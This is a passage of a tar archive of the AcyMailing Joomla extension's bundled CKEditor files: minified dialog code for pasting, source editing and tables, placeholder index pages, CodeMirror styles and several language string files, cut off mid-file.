b=a.getFrameDocument().getBody();!b||b.isReadOnly()?a.setCustomData("pendingFocus",1):b.focus()},setup:function(){var a=this.getDialog(),b='<html dir="'+c.config.contentsLangDirection+'" lang="'+(c.config.contentsLanguage||c.langCode)+'"><head><style>body{margin:3px;height:95%}</style></head><body><script id="cke_actscrpt" type="text/javascript">window.parent.CKEDITOR.tools.callFunction('+CKEDITOR.tools.addFunction(h,a)+",this);<\/script></body></html>",f=CKEDITOR.env.air?"javascript:void(0)":CKEDITOR.env.ie?
"javascript:void((function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+'})())"':"",d=CKEDITOR.dom.element.createFromHtml('<iframe class="cke_pasteframe" frameborder="0"  allowTransparency="true" src="'+f+'" role="region" aria-label="'+e.pasteArea+'" aria-describedby="'+a.getContentElement("general","pasteMsg").domId+'" aria-multiple="true"></iframe>');d.on("load",function(a){a.removeListener();a=d.getFrameDocument();a.write(b);c.focusManager.add(a.getBody());
CKEDITOR.env.air&&h.call(this,a.getWindow().$)},a);d.setCustomData("dialog",a);a=this.getElement();a.setHtml("");a.append(d);if(CKEDITOR.env.ie){var g=CKEDITOR.dom.element.createFromHtml('<span tabindex="-1" style="position:absolute" role="presentation"></span>');g.on("focus",function(){setTimeout(function(){d.$.contentWindow.focus()})});a.append(g);this.focus=function(){g.focus();this.fire("focus")}}this.getInputElement=function(){return d};CKEDITOR.env.ie&&(a.setStyle("display","block"),a.setStyle("height",
d.$.offsetHeight+2+"px"))},commit:function(){var a=this.getDialog().getParentEditor(),b=this.getInputElement().getFrameDocument().getBody(),c=b.getBogus(),d;c&&c.remove();d=b.getHtml();setTimeout(function(){a.fire("pasteDialogCommit",d)},0)}}]}]}});
extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/clipboard/dialogs/index.html000060400000000054152455305300031040 0ustar00com_acymailing<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/clipboard/index.html000060400000000054152455305300027475 0ustar00<html><body bgcolor="#FFFFFF"></body></html>extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/sourcedialog/dialogs/index.html000060400000000054152455305300031561 0ustar00com_acymailing<html><body bgcolor="#FFFFFF"></body></html>extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/sourcedialog/dialogs/sourcedial000060400000001411152455305300031637 0ustar00com_acymailingCKEDITOR.dialog.add("sourcedialog",function(a){var b=CKEDITOR.document.getWindow().getViewPaneSize(),e=Math.min(b.width-70,800),b=b.height/1.5,d;return{title:a.lang.sourcedialog.title,minWidth:100,minHeight:100,onShow:function(){this.setValueOf("main","data",d=a.getData())},onOk:function(){function b(f,c){a.focus();a.setData(c,function(){f.hide();var b=a.createRange();b.moveToElementEditStart(a.editable());b.select()})}return function(){var a=this.getValueOf("main","data").replace(/\r/g,""),c=this;
if(a===d)return!0;setTimeout(function(){b(c,a)});return!1}}(),contents:[{id:"main",label:a.lang.sourcedialog.title,elements:[{type:"textarea",id:"data",dir:"ltr",inputStyle:"cursor:auto;width:"+e+"px;height:"+b+"px;tab-size:4;text-align:left;","class":"cke_source"}]}]}});
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/sourcedialog/index.html000060400000000054152455305300030216 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/sourcedialog/plugin.js000060400000001226152455305300030057 0ustar00
CKEDITOR.plugins.add( 'sourcedialog', {
	lang: 'en', // %REMOVE_LINE_CORE%
	icons: 'sourcedialog,sourcedialog-rtl', // %REMOVE_LINE_CORE%
	hidpi: true, // %REMOVE_LINE_CORE%

	init: function( editor ) {
		editor.addCommand( 'sourcedialog', new CKEDITOR.dialogCommand( 'sourcedialog' ) );

		CKEDITOR.dialog.add( 'sourcedialog', this.path + 'dialogs/sourcedialog.js' );

		if ( editor.ui.addButton ) {
			editor.ui.addButton( 'Sourcedialog', {
				label: editor.lang.sourcedialog.toolbar,
				command: 'sourcedialog',
				icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/sourcedialog.png",
				toolbar: 'mode,10'
			} );
		}
	}
} );

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/table/dialogs/table.js000060400000020701152455305300027700 0ustar00(function(){function r(a){for(var e=0,l=0,k=0,m,g=a.$.rows.length;k<g;k++){m=a.$.rows[k];for(var d=e=0,c,b=m.cells.length;d<b;d++)c=m.cells[d],e+=c.colSpan;e>l&&(l=e)}return l}function o(a){return function(){var e=this.getValue(),e=!!(CKEDITOR.dialog.validate.integer()(e)&&0<e);e||(alert(a),this.select());return e}}function n(a,e){var l=function(g){return new CKEDITOR.dom.element(g,a.document)},n=a.editable(),m=a.plugins.dialogadvtab;return{title:a.lang.table.title,minWidth:310,minHeight:CKEDITOR.env.ie?
310:280,onLoad:function(){var g=this,a=g.getContentElement("advanced","advStyles");if(a)a.on("change",function(){var a=this.getStyle("width",""),b=g.getContentElement("info","txtWidth");b&&b.setValue(a,!0);a=this.getStyle("height","");(b=g.getContentElement("info","txtHeight"))&&b.setValue(a,!0)})},onShow:function(){var g=a.getSelection(),d=g.getRanges(),c,b=this.getContentElement("info","txtRows"),h=this.getContentElement("info","txtCols"),p=this.getContentElement("info","txtWidth"),f=this.getContentElement("info",
"txtHeight");"tableProperties"==e&&((g=g.getSelectedElement())&&g.is("table")?c=g:0<d.length&&(CKEDITOR.env.webkit&&d[0].shrink(CKEDITOR.NODE_ELEMENT),c=a.elementPath(d[0].getCommonAncestor(!0)).contains("table",1)),this._.selectedElement=c);c?(this.setupContent(c),b&&b.disable(),h&&h.disable()):(b&&b.enable(),h&&h.enable());p&&p.onChange();f&&f.onChange()},onOk:function(){var g=a.getSelection(),d=this._.selectedElement&&g.createBookmarks(),c=this._.selectedElement||l("table"),b={};this.commitContent(b,
c);if(b.info){b=b.info;if(!this._.selectedElement)for(var h=c.append(l("tbody")),e=parseInt(b.txtRows,10)||0,f=parseInt(b.txtCols,10)||0,i=0;i<e;i++)for(var j=h.append(l("tr")),k=0;k<f;k++)j.append(l("td")).appendBogus();e=b.selHeaders;if(!c.$.tHead&&("row"==e||"both"==e)){j=new CKEDITOR.dom.element(c.$.createTHead());h=c.getElementsByTag("tbody").getItem(0);h=h.getElementsByTag("tr").getItem(0);for(i=0;i<h.getChildCount();i++)f=h.getChild(i),f.type==CKEDITOR.NODE_ELEMENT&&!f.data("cke-bookmark")&&
(f.renameNode("th"),f.setAttribute("scope","col"));j.append(h.remove())}if(null!==c.$.tHead&&!("row"==e||"both"==e)){j=new CKEDITOR.dom.element(c.$.tHead);h=c.getElementsByTag("tbody").getItem(0);for(k=h.getFirst();0<j.getChildCount();){h=j.getFirst();for(i=0;i<h.getChildCount();i++)f=h.getChild(i),f.type==CKEDITOR.NODE_ELEMENT&&(f.renameNode("td"),f.removeAttribute("scope"));h.insertBefore(k)}j.remove()}if(!this.hasColumnHeaders&&("col"==e||"both"==e))for(j=0;j<c.$.rows.length;j++)f=new CKEDITOR.dom.element(c.$.rows[j].cells[0]),
f.renameNode("th"),f.setAttribute("scope","row");if(this.hasColumnHeaders&&!("col"==e||"both"==e))for(i=0;i<c.$.rows.length;i++)j=new CKEDITOR.dom.element(c.$.rows[i]),"tbody"==j.getParent().getName()&&(f=new CKEDITOR.dom.element(j.$.cells[0]),f.renameNode("td"),f.removeAttribute("scope"));b.txtHeight?c.setStyle("height",b.txtHeight):c.removeStyle("height");b.txtWidth?c.setStyle("width",b.txtWidth):c.removeStyle("width");c.getAttribute("style")||c.removeAttribute("style")}if(this._.selectedElement)try{g.selectBookmarks(d)}catch(m){}else a.insertElement(c),
setTimeout(function(){var g=new CKEDITOR.dom.element(c.$.rows[0].cells[0]),b=a.createRange();b.moveToPosition(g,CKEDITOR.POSITION_AFTER_START);b.select()},0)},contents:[{id:"info",label:a.lang.table.title,elements:[{type:"hbox",widths:[null,null],styles:["vertical-align:top"],children:[{type:"vbox",padding:0,children:[{type:"text",id:"txtRows","default":3,label:a.lang.table.rows,required:!0,controlStyle:"width:5em",validate:o(a.lang.table.invalidRows),setup:function(a){this.setValue(a.$.rows.length)},
commit:k},{type:"text",id:"txtCols","default":2,label:a.lang.table.columns,required:!0,controlStyle:"width:5em",validate:o(a.lang.table.invalidCols),setup:function(a){this.setValue(r(a))},commit:k},{type:"html",html:"&nbsp;"},{type:"select",id:"selHeaders",requiredContent:"th","default":"",label:a.lang.table.headers,items:[[a.lang.table.headersNone,""],[a.lang.table.headersRow,"row"],[a.lang.table.headersColumn,"col"],[a.lang.table.headersBoth,"both"]],setup:function(a){var d=this.getDialog();d.hasColumnHeaders=
!0;for(var c=0;c<a.$.rows.length;c++){var b=a.$.rows[c].cells[0];if(b&&"th"!=b.nodeName.toLowerCase()){d.hasColumnHeaders=!1;break}}null!==a.$.tHead?this.setValue(d.hasColumnHeaders?"both":"row"):this.setValue(d.hasColumnHeaders?"col":"")},commit:k},{type:"text",id:"txtBorder",requiredContent:"table[border]","default":a.filter.check("table[border]")?1:0,label:a.lang.table.border,controlStyle:"width:3em",validate:CKEDITOR.dialog.validate.number(a.lang.table.invalidBorder),setup:function(a){this.setValue(a.getAttribute("border")||
"")},commit:function(a,d){this.getValue()?d.setAttribute("border",this.getValue()):d.removeAttribute("border")}},{id:"cmbAlign",type:"select",requiredContent:"table[align]","default":"",label:a.lang.common.align,items:[[a.lang.common.notSet,""],[a.lang.common.alignLeft,"left"],[a.lang.common.alignCenter,"center"],[a.lang.common.alignRight,"right"]],setup:function(a){this.setValue(a.getAttribute("align")||"")},commit:function(a,d){this.getValue()?d.setAttribute("align",this.getValue()):d.removeAttribute("align")}}]},
{type:"vbox",padding:0,children:[{type:"hbox",widths:["5em"],children:[{type:"text",id:"txtWidth",requiredContent:"table{width}",controlStyle:"width:5em",label:a.lang.common.width,title:a.lang.common.cssLengthTooltip,"default":a.filter.check("table{width}")?500>n.getSize("width")?"100%":500:0,getValue:q,validate:CKEDITOR.dialog.validate.cssLength(a.lang.common.invalidCssLength.replace("%1",a.lang.common.width)),onChange:function(){var a=this.getDialog().getContentElement("advanced","advStyles");a&&
a.updateStyle("width",this.getValue())},setup:function(a){this.setValue(a.getStyle("width"))},commit:k}]},{type:"hbox",widths:["5em"],children:[{type:"text",id:"txtHeight",requiredContent:"table{height}",controlStyle:"width:5em",label:a.lang.common.height,title:a.lang.common.cssLengthTooltip,"default":"",getValue:q,validate:CKEDITOR.dialog.validate.cssLength(a.lang.common.invalidCssLength.replace("%1",a.lang.common.height)),onChange:function(){var a=this.getDialog().getContentElement("advanced","advStyles");
a&&a.updateStyle("height",this.getValue())},setup:function(a){(a=a.getStyle("height"))&&this.setValue(a)},commit:k}]},{type:"html",html:"&nbsp;"},{type:"text",id:"txtCellSpace",requiredContent:"table[cellspacing]",controlStyle:"width:3em",label:a.lang.table.cellSpace,"default":a.filter.check("table[cellspacing]")?1:0,validate:CKEDITOR.dialog.validate.number(a.lang.table.invalidCellSpacing),setup:function(a){this.setValue(a.getAttribute("cellSpacing")||"")},commit:function(a,d){this.getValue()?d.setAttribute("cellSpacing",
this.getValue()):d.removeAttribute("cellSpacing")}},{type:"text",id:"txtCellPad",requiredContent:"table[cellpadding]",controlStyle:"width:3em",label:a.lang.table.cellPad,"default":a.filter.check("table[cellpadding]")?1:0,validate:CKEDITOR.dialog.validate.number(a.lang.table.invalidCellPadding),setup:function(a){this.setValue(a.getAttribute("cellPadding")||"")},commit:function(a,d){this.getValue()?d.setAttribute("cellPadding",this.getValue()):d.removeAttribute("cellPadding")}}]}]},{type:"html",align:"right",
html:""},{type:"vbox",padding:0,children:[{type:"text",id:"txtCaption",requiredContent:"caption",label:a.lang.table.caption,setup:function(a){this.enable();a=a.getElementsByTag("caption");if(0<a.count()){var a=a.getItem(0),d=a.getFirst(CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT));d&&!d.equals(a.getBogus())?(this.disable(),this.setValue(a.getText())):(a=CKEDITOR.tools.trim(a.getText()),this.setValue(a))}},commit:function(e,d){if(this.isEnabled()){var c=this.getValue(),b=d.getElementsByTag("caption");
if(c)0<b.count()?(b=b.getItem(0),b.setHtml("")):(b=new CKEDITOR.dom.element("caption",a.document),d.getChildCount()?b.insertBefore(d.getFirst()):b.appendTo(d)),b.append(new CKEDITOR.dom.text(c,a.document));else if(0<b.count())for(c=b.count()-1;0<=c;c--)b.getItem(c).remove()}}},{type:"text",id:"txtSummary",requiredContent:"table[summary]",label:a.lang.table.summary,setup:function(a){this.setValue(a.getAttribute("summary")||"")},commit:function(a,d){this.getValue()?d.setAttribute("summary",this.getValue()):
d.removeAttribute("summary")}}]}]},m&&m.createAdvancedTab(a,null,"table")]}}var q=CKEDITOR.tools.cssLength,k=function(a){var e=this.id;a.info||(a.info={});a.info[e]=this.getValue()};CKEDITOR.dialog.add("table",function(a){return n(a,"table")});CKEDITOR.dialog.add("tableProperties",function(a){return n(a,"tableProperties")})})();
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/table/dialogs/index.html000060400000000054152455305300030247 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/table/index.html000060400000000054152455305300026625 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/index.html000060400000000054152455305300025536 0ustar00<html><body bgcolor="#FFFFFF"></body></html>extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/css/codemirror.min.c000060400000023114152455305300031514 0ustar00com_acymailing.CodeMirror{font-family:monospace;height:300px;color:#000}.CodeMirror-lines{padding:4px 0}.CodeMirror pre{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror div.CodeMirror-cursor{border-left:1px solid #000}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid #c0c0c0}.CodeMirror.cm-fat-cursor div.CodeMirror-cursor{width:auto;border:0;background:#7e7}.CodeMirror.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-animate-fat-cursor{width:auto;border:0;-webkit-animation:blink 1.06s steps(1) infinite;-moz-animation:blink 1.06s steps(1) infinite;animation:blink 1.06s steps(1) infinite}@-moz-keyframes blink{0%{background:#7e7}50%{background:none}100%{background:#7e7}}@-webkit-keyframes blink{0%{background:#7e7}50%{background:none}100%{background:#7e7}}@keyframes blink{0%{background:#7e7}50%{background:none}100%{background:#7e7}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-ruler{border-left:1px solid #ccc;position:absolute}.cm-s-default .cm-header{color:#00f}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:#00f}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:#f00}.cm-invalidchar{color:#f00}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0f0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#f22}.CodeMirror-matchingtag{background:rgba(255,150,0,.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:#fff}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-30px;margin-right:-30px;padding-bottom:30px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:30px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;margin-bottom:-30px;*zoom:1;*display:inline}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;height:100%}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper{-webkit-user-select:none;-moz-user-select:none;user-select:none}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre{-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent}.CodeMirror-wrap pre{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;overflow:auto}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{-moz-box-sizing:content-box;box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-measure pre{position:static}.CodeMirror div.CodeMirror-cursor{position:absolute;border-right:none;width:0}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror ::selection{background:#d7d4f0}.CodeMirror ::-moz-selection{background:#d7d4f0}.cm-searching{background:#ffa;background:rgba(255,255,0,.4)}.CodeMirror span{*vertical-align:text-bottom}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:''}span.CodeMirror-selectedtext{background:none}.CodeMirror{font:13px/1.4em monospace;text-align:left}.CodeMirror .activeline{background:#e8f2ff}.CodeMirror .CodeMirror-foldmarker{color:#00f;-ms-text-shadow:#b9f 1px 1px 2px,#b9f -1px -1px 2px,#b9f 1px -1px 2px,#b9f -1px 1px 2px;-webkit-text-shadow:#b9f 1px 1px 2px,#b9f -1px -1px 2px,#b9f 1px -1px 2px,#b9f -1px 1px 2px;text-shadow:#b9f 1px 1px 2px,#b9f -1px -1px 2px,#b9f 1px -1px 2px,#b9f -1px 1px 2px;font-family:arial;line-height:.3;cursor:pointer}.CodeMirror-matchingtag{background:#ff9600;background:rgba(255,150,0,.3)}.searchCodeButton span,.autoFormat span,.CommentSelectedRange span,.UncommentSelectedRange span{width:16px;height:16px;margin-left:6px}.searchCodeButton span{background:url("../icons/searchcode.png") no-repeat}.autoFormat span{background:url("../icons/autoformat.png") no-repeat}.CommentSelectedRange span{background:url("../icons/commentselectedrange.png") no-repeat}.UncommentSelectedRange span{background:url("../icons/uncommentselectedrange.png") no-repeat}.cke_reset_all .CodeMirror-scroll *{white-space:normal}.cke_reset_all .cm-s-cobalt *,.cke_reset_all .cm-s-erlang-dark *,.cke_reset_all .cm-s-lesser-dark *,.cke_reset_all .cm-s-monokai *,.cke_reset_all .cm-s-night *,.cke_reset_all .cm-s-rubyblue *,.cke_reset_all .cm-s-twilight *,.cke_reset_all .cm-s-xq-dark *,.cke_reset_all .cm-s-base16-dark *,.cke_reset_all .cm-s-3024-night *,.cke_reset_all .cm-s-the-matrix *,.cke_reset_all .cm-s-paraiso-dark *,.cke_reset_all .cm-s-paraiso-light *{color:inherit;font:inherit}.cm-s-cobalt .CodeMirror-selected{background:#b36539 !important}.cm-s-erlang-dark .CodeMirror-selected{background:#b36539 !important}.cm-s-lesser-dark .CodeMirror-selected{background:#45443b !important}.cm-s-monokai .CodeMirror-selected{background:#49483e !important}.cm-s-night .CodeMirror-selected{background:#447 !important}.cm-s-rubyblue .CodeMirror-selected{background:#38566f !important}.cm-s-twilight .CodeMirror-selected{background:#323232 !important}.cm-s-xq-dark .CodeMirror-selected{background:#a8f !important}.cm-s-the-matrix .CodeMirror-selected{background:#494949 !important}.cm-s-mbo .CodeMirror-selected{background:#716c62 !important}.cm-s-blackboard .activeline,.cm-s-cobalt .activeline,.cm-s-erlang-dark .activeline,.cm-s-lesser-dark .activeline,.cm-s-monokai .activeline,.cm-s-night .activeline,.cm-s-rubyblue .activeline,.cm-s-vibrant-ink .activeline,.cm-s-xq-dark .activeline,.cm-s-base16-dark .activeline,.cm-s-3024-night .activeline,.cm-s-paraiso-light .activeline,.cm-s-paraiso-dark .activeline,.cm-s-pastel-on-dark .activeline{background:#757575}.cm-s-pastel-on-dark .activeline{background:#404040}.cm-s-mbo .activeline{background:#716c62}.cm-s-twilight .activeline{background:#494949}.cm-s-the-matrix .activeline{background:#060}.CodeMirror-focused .cm-matchhighlight{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAIAAAACCAYAAABytg0kAAAAFklEQVQI12NgYGBgkKzc8x9CMDAwAAAmhwSbidEoSQAAAABJRU5ErkJggg==);background-position:bottom;background-repeat:repeat-x}.CodeMirror-hints{position:absolute;z-index:10;overflow:hidden;list-style:none;margin:0;padding:2px;-webkit-box-shadow:2px 3px 5px #000;-ms-box-shadow:2px 3px 5px #000;box-shadow:2px 3px 5px #000;border-radius:3px;border:1px solid #c0c0c0;background:#fff;font-size:90%;font-family:monospace;max-height:20em;overflow-y:auto}.CodeMirror-hint{margin:0;padding:0 4px;border-radius:2px;max-width:19em;overflow:hidden;white-space:pre;color:#000;cursor:pointer}.CodeMirror-hint-active{background:#08f;color:#fff}.cm-trailingspace{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAACCAYAAAB/qH1jAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH3QUXCToH00Y1UgAAACFJREFUCNdjPMDBUc/AwNDAAAFMTAwMDA0OP34wQgX/AQBYgwYEx4f9lQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-foldmarker{color:#00f;text-shadow:#b9f 1px 1px 2px,#b9f -1px -1px 2px,#b9f 1px -1px 2px,#b9f -1px 1px 2px;font-family:arial;line-height:.3;cursor:pointer}.CodeMirror-foldgutter{width:.7em}.CodeMirror-foldgutter-open,.CodeMirror-foldgutter-folded{cursor:pointer}.CodeMirror-foldgutter-open:after{content:"▾"}.CodeMirror-foldgutter-folded:after{content:"▸"}
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/css/index.html000060400000000054152455305300030473 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/uk.js000060400000000450152455305300027604 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'uk', {
	toolbar: 'Джерело',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/bs.js000060400000000443152455305300027573 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'bs', {
	toolbar: 'HTML kôd',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/sl.js000060400000000446152455305300027610 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'sl', {
	toolbar: 'Izvorna koda',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/es.js000060400000000445152455305300027600 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'es', {
	toolbar: 'Fuente HTML',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/bg.js000060400000000452152455305300027557 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'bg', {
	toolbar: 'Източник',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/fo.js000060400000000437152455305300027576 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'fo', {
	toolbar: 'Kelda',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/en-au.js000060400000000443152455305300030174 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'en-au', {
	toolbar: 'Source',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ca.js000060400000000443152455305300027552 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'ca', {
	toolbar: 'Codi font',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/da.js000060400000000437152455305300027556 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'da', {
	toolbar: 'Kilde',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/ja.js000060400000000443152455305300027561 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'ja', {
	toolbar: 'ソース',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/de.js000060400000000512152455305300027554 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'de', {
    toolbar: 'Quellcode',
    searchCode: 'Quellcode durchsuchen',
	autoFormat: 'Auswahl formatieren',
	commentSelectedRange: 'Auswahl auskommentieren',
	uncommentSelectedRange: 'Auskommentierung entfernen',
	autoCompleteToggle: 'HTML Tag Autovervollständigen de-/aktivieren'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/cs.js000060400000000437152455305300027577 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'cs', {
	toolbar: 'Zdroj',
	searchCode: 'Search Source',
	autoFormat: 'Format Selection',
	commentSelectedRange: 'Comment Selection',
	uncommentSelectedRange: 'Uncomment Selection',
	autoCompleteToggle: 'Enable/Disable HTML Tag Autocomplete'
});

com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/codemirror/lang/lt.js000060400000000443152455305300027606 0ustar00CKEDITOR.plugins.setLang( 'codemirror', 'lt', {
	toolbar: 'Šaltinis',
